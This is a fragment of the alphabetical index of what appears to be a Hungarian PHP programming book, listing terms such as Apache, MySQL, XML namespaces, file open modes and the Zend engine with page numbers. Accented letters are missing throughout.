sszehasonlic mveleti jelek 168
while ciklusok 36
W indows
Apache 629
Center 634
MySQL 628
PHP 630
Club 634
Developer 634
Developer's Network Unilied Forums
634
Apache-konfigurcik 631
tesztels 631
tmogats 5,628
W ireless Bitmap (WBMP) 332
Homepage 634
w megnyitsi md 41
Kitchen 634
w+ megnyitsi md 41
Trgymutat
gykrelemek 566
meghatrozsa 564
nvterek 566
plda 564
Zen d
weboldal 88
Zend motorok
fejlesztsei PHP 5.3-ban 5
Optimizers 377
weboldala 633
zlib knyvtr weboldala 622
657